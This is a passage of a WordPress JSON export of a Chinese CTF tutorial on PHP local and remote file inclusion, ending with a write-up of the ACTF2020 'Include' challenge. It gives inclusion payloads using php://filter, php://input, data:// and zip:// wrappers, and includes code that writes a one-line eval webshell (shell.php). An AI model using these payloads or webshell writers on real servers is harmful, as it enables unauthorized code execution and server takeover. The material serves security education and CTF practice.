Session<\/strong>\u5c31\u662f\u4e00\u4e2a\u7528\u4e8e\u5b58\u50a8\u4fe1\u606f\u7684\u5bf9\u8c61<\/p>\n\u6761\u4ef6\uff1a\u627e\u5230Session\u5185\u7684\u53ef\u63a7\u53d8\u91cf\uff0cSession\u6587\u4ef6\u53ef\u8bfb\u5199\uff0c\u5e76\u4e14\u77e5\u9053\u5b58\u50a8\u8def\u5f84\uff0cphp\u7684session\u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u53ef\u4ee5\u5728phpinfo\u7684session.save_pathhttp:\/\/target.com\/?page=\/var\/log\/apache2\/access.log\u770b\u5230\u3002<\/p>\n
\u5229\u7528\uff1a\u53ef\u4ee5\u5148\u6839\u636e\u5c1d\u8bd5\u5305\u542b\u5230SESSION\u6587\u4ef6\uff0c\u5728\u6839\u636e\u6587\u4ef6\u5185\u5bb9\u5bfb\u627e\u53ef\u63a7\u53d8\u91cf\uff0c\u5728\u6784\u9020payload\u63d2\u5165\u5230\u6587\u4ef6\u4e2d\uff0c\u6700\u540e\u5305\u542b\u5373\u53ef\uff0c\u6839\u672c\u539f\u7406\u8ddfApache\u65e5\u5fd7\u6587\u4ef6\u5305\u542b\u5176\u5b9e\u5dee\u4e0d\u591a\u3002<\/p>\n
session\u5e38\u89c1\u5b58\u50a8\u8def\u5f84:<\/p>\n
\/var\/lib\/php\/sess_PHPSESSID\n\/var\/lib\/php\/sess_PHPSESSID\n\/tmp\/sess_PHPSESSID\n\/tmp\/sessions\/sess_PHPSESSID\nsession\u6587\u4ef6\u683c\u5f0f:sess_[phpsessid],\u800cphpsessid\u5728\u53d1\u9001\u7684\u8bf7\u6c42\u7684cookie\u5b57\u6bb5\u4e2d\u53ef\u4ee5\u770b\u5230\u3002<\/code><\/pre>\n6\uff1a\u4f7f\u7528php\u4f2a\u534f\u8bae\uff1a<\/strong><\/h3>\nfile:\/\/\uff1a\u7528\u4e8e\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\uff0c\u4e0d\u53d7allow_url_fopen\u4e0eallow_url_include\u7684\u5f71\u54cd\u3002<\/p>\n
\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n
#1. file:\/\/[\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/C:phpStudyPHPTutorialWWWphpinfo.txt\n\n#2. file:\/\/[\u6587\u4ef6\u7684\u76f8\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/.\/phpinfo.txt\n\n#3. file:\/\/[\u7f51\u7edc\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/http:\/\/127.0.0.1\/phpinfo.txt<\/code><\/pre>\nphp:\/\/\uff1aphp:\/\/ \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165\/\u8f93\u51fa\u6d41\uff08I\/O streams\uff09\uff0c\u5728CTF\u4e2d\u7ecf\u5e38\u4f7f\u7528\u7684\u662f\u00a0php:\/\/filter\u00a0\u548cphp:\/\/input\uff0cphp:\/\/filter\u7528\u4e8e\u8bfb\u53d6\u6e90\u7801<\/strong>\uff0cphp:\/\/input\u7528\u4e8e\u6267\u884c<\/strong>php\u4ee3\u7801<\/p>\n\u683c\u5f0f\uff1a<\/p>\n
#1. php:\/\/filter\/read=convert.base64-encode\/resource=[\u6587\u4ef6\u540d] \/\/\u8bfb\u53d6\u6587\u4ef6\u6e90\u7801\nhttp:\/\/127.0.0.1\/include.php?file=php:\/\/filter\/read=convert.base64-encode\/resource=phpinfo.php\n\u5176\u4e2dread\u662f\u53ef\u9009\u53c2\u6570\uff0c\u6709read\u548cwrite\uff0c\u5b57\u9762\u610f\u601d\u5c31\u662f\u8bfb\u548c\u5199\nconvert.base64-encode\u662f\u8fc7\u6ee4\u5668\uff0c\u8fc7\u6ee4\u5668\u4e3b\u8981\u6709\u56db\u79cd\uff1a\u5b57\u7b26\u4e32\u8fc7\u6ee4\u5668\uff0c\u8f6c\u6362\u8fc7\u6ee4\u5668\uff0c\u538b\u7f29\u8fc7\u6ee4\u5668\uff0c\u52a0\u5bc6\u8fc7\u6ee4\u5668\u3002filter\u91cc\u53ef\u4ee5\u7528\u4e00\u6216\u591a\u4e2a\u8fc7\u6ee4\u5668\uff08\u4e2d\u95f4\u7528|\u9694\u5f00\uff09\n\n#2.php:\/\/input + [POST DATA]\u6267\u884cphp\u4ee3\u7801\nhttp:\/\/127.0.0.1\/include.php?file=php:\/\/input\n[POST DATA\u90e8\u5206] <?php phpinfo(); ?>\n\n#3.\u82e5\u6709\u5199\u5165\u6743\u9650\uff0c[POST DATA\u90e8\u5206] \u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\n<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?><\/code><\/pre>\n\u7136\u540e\u4e0b\u9762\u5bf9\u5404\u79cd\u8fc7\u6ee4\u5668\u8865\u5145\u4e00\u4e0b\u5427\uff1a<\/p>\n
string.rot13\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884c ROT13 \u7f16\u7801\uff08\u5b57\u6bcd\u5faa\u73af\u79fb\u4f4d13\u4f4d\uff09\nstring.toupper\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u8f6c\u6362\u4e3a\u5927\u5199\nstring.tolower\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u8f6c\u6362\u4e3a\u5c0f\u5199\nconvert.base64-encode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Base64 \u7f16\u7801\nconvert.base64-decode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Base64 \u89e3\u7801\nconvert.quoted-printable-encode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Quoted-Printable \u7f16\u7801\nconvert.quoted-printable-decode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Quoted-Printable \u89e3\u7801\nconvert.iconv.<from>-<to>\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u5b57\u7b26\u7f16\u7801\u8f6c\u6362\uff08\u9700 iconv \u6269\u5c55\uff09\nzlib.deflate\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u4f7f\u7528 zlib \u538b\u7f29\nzlib.inflate\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u89e3\u538b zlib \u6570\u636e\nbzip2.compress\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BZip2 \u538b\u7f29\nbzip2.decompress\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BZip2 \u89e3\u538b\nopenssl.*\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0OpenSSL \u52a0\u5bc6\uff08\u5982 openssl.rc4, openssl.aes-128-cbc\uff09\n<\/code><\/pre>\ndata:\/\/\uff1a\u901a\u5e38\u53ef\u4ee5\u7528\u6765\u6267\u884cPHP\u4ee3\u7801<\/p>\n
\u4f7f\u7528\u6761\u4ef6\uff1aallow_url_fopen:on\u4e14allow_url_include :on\uff0cPHP>=5.2.0<\/p>\n
\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n
#1.data:\/\/text\/plain,\nhttp:\/\/127.0.0.1\/include.php?file=data:\/\/text\/plain,<?php%20phpinfo();?>\n\n#2.data:\/\/text\/plain;base64,\nhttp:\/\/127.0.0.1\/include.php?file=data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b<\/code><\/pre>\nzip:\/\/ \u4ee5\u53cacompress.bzip2:\/\/\u548ccompress.zlib:\/\/:\u5747\u5c5e\u4e8e\u538b\u7f29\u6d41\uff0c\u53ef\u4ee5\u8bbf\u95ee\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u5b50\u6587\u4ef6,\u4e0d\u9700\u8981\u6307\u5b9a\u540e\u7f00\u540d<\/p>\n
\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n
1.zip:\/\/[\u538b\u7f29\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84]%23[\u538b\u7f29\u6587\u4ef6\u5185\u7684\u5b50\u6587\u4ef6\u540d]\uff08#\u7f16\u7801\u4e3a%23\uff09\n<!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.zip \uff0c\u538b\u7f29\u5305\u91cd\u547d\u540d\u4e3a phpinfo.jpg \uff0c\u5e76\u4e0a\u4f20-->\nhttp:\/\/127.0.0.1\/include.php?file=zip:\/\/C:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt\n\n2.compress.bzip2:\/\/file.bz2\n<!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.bz2 \u5e76\u4e0a\u4f20\uff08\u540c\u6837\u652f\u6301\u4efb\u610f\u540e\u7f00\u540d\uff09-->\nhttp:\/\/127.0.0.1\/include.php?file=compress.bzip2:\/\/C:phpStudyPHPTutorialWWWphpinfo.bz2\n\n3.compress.zlib:\/\/file.gz \n<!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.gz-->\nhttp:\/\/127.0.0.1\/include.php?file=compress.zlib:\/\/C:phpStudyPHPTutorialWWWphpinfo.gz<\/code><\/pre>\n7\uff1a\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff1a<\/h3>\n
\u4f7f\u7528\u6761\u4ef6\uff1aphp.ini\u4e2d\u5f00\u542fallow_url_include\u3001allow_url_fopen\u9009\u9879\uff0c\u8fd9\u6837\u53ef\u4ee5\u901a\u8fc7url\u5305\u542b\u4e0d\u5728\u672c\u5730\u7684\u6587\u4ef6<\/p>\n
\u683c\u5f0f\uff1a<\/p>\n
?\u53c2\u6570=http:\/\/\u8def\u5f84\/shell.txt(\u6728\u9a6c\u6587\u4ef6\u540d\uff0c\u6b64\u5904\u4ee5shell.txt\u4e3a\u4f8b)<\/code><\/pre>\n\u5176\u4e2dshell.txt\u7684\u5185\u5bb9\uff1a<\/p>\n
<?php\n futs(fpen('.\/shell.php','w'),'<?php @val($_POST[123]) ?>');\n?>\n\/\/\u5176\u5b9e\u662ffputs\uff0cfopen\uff0ceval\uff0cfputs\u529f\u80fd\u8ddffwrite\u4e00\u6837<\/code><\/pre>\n\u8865\u5145\uff1a<\/h3>\n\u5982\u679c\u8981\u6c42\u6587\u4ef6\u5305\u542b\u540e\u7684\u5185\u5bb9\u6307\u5b9a\uff0c\u5982\uff1afile_get_contents($text,'r')===\"welcome to the zjctf\"\n\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7\u4f2a\u534f\u8bae\u5199\u5165\uff1b\n\u7528php:\/\/input\u4f2a\u534f\u8bae\u4ee5POST\u4f20\u53c2'welcome to the zjctf '\n\u6216\uff1a\n?text=data:\/\/text\/plain,welcome to the zjctf\n\u4fdd\u9669\u8d77\u89c1\u8fdb\u884cbase64\u7f16\u7801\uff1a\n<\/code><\/pre>\n\u5982\u679c\u8981\u6c42\u4f20\u53c2\u5305\u542b\u6307\u5b9a\u5b57\u6bb5\uff0c\u53ef\u4ee5\u52a0\u4e00\u4e2a\/object\/\u5728\u4f2a\u534f\u8bae\u4e2d\uff0c\u5982\uff1a\nphp:\/\/filter\/read=convert.base64-encode\/woofers\/resource=flag.php<\/code><\/pre>\n\u4f8b\u9898\uff1a[ACTF2020 \u65b0\u751f\u8d5b]Include\uff0cbuu\u4e0a\u9762web\u65b9\u5411\u7b2c\u4e09\u9053\u5c31\u662f<\/h3>\n
\u8fdb\u6765\u8fc7\u540e\u5148\u770b\u5230\u4e00\u4e2a\u7a7a\u767d\u754c\u9762\uff1a<\/p>\n
![\"0fd7d3b6-e3fe-423d-97e4-e8b4f8464664\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n
\u70b9tips\u8bd5\u8bd5\uff1a<\/p>\n
<\/div><\/p>\n
\u9898\u76ee\u540dinclude\uff08\uff09\uff0c\u6709\u7aef\u8054\u60f3\u6587\u4ef6\u5305\u542b\uff0c\u7136\u540e\u770burl\u63a8\u6d4b\u53c2\u6570\u662ffile\uff0c\u53ef\u662ffile=flag.php\u8bf4\u660e\u76f4\u63a5\u8bfb\u6587\u4ef6\u884c\u4e0d\u901a\u90a3\u4e48\u5c31\u7528php\u4f2a\u534f\u8baephp:\/\/filter,\u6784\u9020\u5982\u4e0b\uff1a<\/p>\n
?file=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php<\/code><\/pre>\n\u7136\u540e\u53d1\u73b0\uff1a<\/p>\n
<\/div><\/p>\n
\u89e3\u7801\uff1a<\/p>\n
<\/div><\/p>\n
\u51faflag\uff0c\u7136\u540e\u4e5f\u53ef\u4ee5\u53d1\u73b0\u4e3a\u4ec0\u4e48\u76f4\u63a5\u8bfb\u4e0d\u884c\uff1aflag\u88ab\u6ce8\u91ca\u6389\u4e86\u800c\u5982\u679c\u76f4\u63a5\u8bfb\u6587\u4ef6\u4f1a\u5f53\u4f5cphp\u4ee3\u7801\u6267\u884c\u53ea\u6253can you\u5df4\u62c9\u5df4\u62c9\uff0c\u53ef\u662f\u7528php:\/\/filter\u4e0d\u4f1a\u6267\u884c\uff0c\u800c\u662f\u76f4\u63a5\u8bfb\u6e90\u7801\uff0c\u6240\u4ee5\u53ef\u4ee5\u7206flag<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e \u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5168\u9762\u8be6\u89e3-CSDN\u535a\u5ba2 \u6587\u4ef6\u5305\u542b\u6f0f\u6d1e | \u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93 CTF\u00b7Web\u57fa\u7840 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-82","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/82","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=82"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/82\/revisions"}],"predecessor-version":[{"id":87,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/82\/revisions\/87"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=82"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=82"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=82"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"0fd7d3b6-e3fe-423d-97e4-e8b4f8464664\"](\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/0fd7d3b6-e3fe-423d-97e4-e8b4f8464664.png\")
<\/div><\/p>\n![\"6233cf58-0f03-4da7-b1d6-7f20c6769e7f\"](\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/6233cf58-0f03-4da7-b1d6-7f20c6769e7f.png\")
<\/div><\/p>\n![\"f32a5a21-0def-4fc5-92b3-cbe735f5fa31\"](\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/f32a5a21-0def-4fc5-92b3-cbe735f5fa31.png\")
<\/div><\/p>\n![\"a86de18d-9e61-4b1a-828f-e66263e63926\"](\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/a86de18d-9e61-4b1a-828f-e66263e63926.png\")
<\/div><\/p>\n